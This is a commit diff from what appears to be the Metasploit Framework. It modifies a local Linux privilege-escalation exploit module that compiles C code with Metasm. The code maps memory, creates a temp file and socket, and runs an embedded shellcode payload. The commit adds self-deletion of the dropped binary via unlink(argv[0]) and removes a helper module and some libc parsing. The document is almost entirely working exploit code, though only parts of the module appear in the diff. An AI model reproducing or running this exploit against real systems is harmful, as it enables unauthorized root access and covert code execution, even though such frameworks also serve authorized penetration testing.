Use a proper main signature with arguments
Allows us to `unlink(argv[0])`bug/bundler_fix
parent
c251596f0b
commit
947925e3a3
|
@ -1,19 +0,0 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Local::Unix
|
||||
|
||||
include Exploit::Local::CompileC
|
||||
|
||||
def unix_socket_h(metasm_exe)
|
||||
[
|
||||
"external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
|
||||
].each do |fname|
|
||||
cparser.parse(File.read(fname), fname)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -76,16 +76,10 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
def exploit
|
||||
sc = Metasm::ELF.new(@cpu)
|
||||
sc.parse %Q|
|
||||
#define DEBUGGING
|
||||
#define NULL ((void*)0)
|
||||
#ifdef __ELF__
|
||||
.section ".bss" rwx
|
||||
.section ".text" rwx
|
||||
.entrypoint
|
||||
#endif
|
||||
call main
|
||||
;push eax
|
||||
call exit
|
||||
|
|
||||
|
||||
# Set up the same include order as the bionic build system.
|
||||
|
@ -117,39 +111,10 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
/*
|
||||
OpenBSD's strcmp from string/strcmp.c in bionic
|
||||
*/
|
||||
int
|
||||
strcmp(const char *s1, const char *s2)
|
||||
{
|
||||
while (*s1 == *s2++)
|
||||
if (*s1++ == 0)
|
||||
return (0);
|
||||
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
|
||||
}
|
||||
#include <sys/socket.h>
|
||||
#include <string.h>
|
||||
|)
|
||||
|
||||
[
|
||||
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
|
||||
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
|
||||
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
|
||||
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
|
||||
# This parses without any trouble, but actually calling perror() causes
|
||||
# immediate segfaults.
|
||||
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
|
||||
|
||||
# For some ungodly reason, NULL ends up being undefined when parsing this
|
||||
# guy, which of course causes parse errors.
|
||||
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
|
||||
|
||||
].each do |fname|
|
||||
print_status("Parsing c file #{fname}")
|
||||
cparser.parse(File.read(fname), fname)
|
||||
end
|
||||
|
||||
print_status("Unix socket.h")
|
||||
unix_socket_h(sc)
|
||||
current_task_struct_h(sc)
|
||||
|
||||
case target.arch.first
|
||||
|
@ -259,7 +224,7 @@ SHELLCODE
|
|||
|
||||
int shellcode_size = 0;
|
||||
|
||||
int main() {
|
||||
int main(int argc, char **argv) {
|
||||
int i = 0;
|
||||
int d;
|
||||
int in_fd, out_fd;
|
||||
|
@ -267,6 +232,9 @@ int main() {
|
|||
char template[] = "/tmp/sendfile.XXXXXX";
|
||||
int (*func)();
|
||||
|
||||
printf("argv[0] = %s\n", argv[0]);
|
||||
unlink(argv[0]);
|
||||
|
||||
uid = getuid(), gid = getgid();
|
||||
|
||||
mapped = mmap(NULL , 0x1000,
|
||||
|
@ -299,10 +267,11 @@ int main() {
|
|||
break;
|
||||
}
|
||||
if (out_fd < 0) {
|
||||
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
|
||||
perror("socket");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
unlink(template);
|
||||
// Couldn't get mkstemp to work, just use open(2) for now
|
||||
in_fd = open(template, O_CREAT | O_RDWR, 0777);
|
||||
|
@ -345,6 +314,8 @@ int main() {
|
|||
end
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
cparser.parse(main, "main.c")
|
||||
#$stderr.puts cparser.factorize
|
||||
#return
|
||||
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
|
@ -352,6 +323,7 @@ int main() {
|
|||
end
|
||||
|
||||
sc.assemble
|
||||
sc.c_set_default_entrypoint
|
||||
|
||||
begin
|
||||
if sc.kind_of? Metasm::ELF
|
||||
|
|
Loading…
Reference in New Issue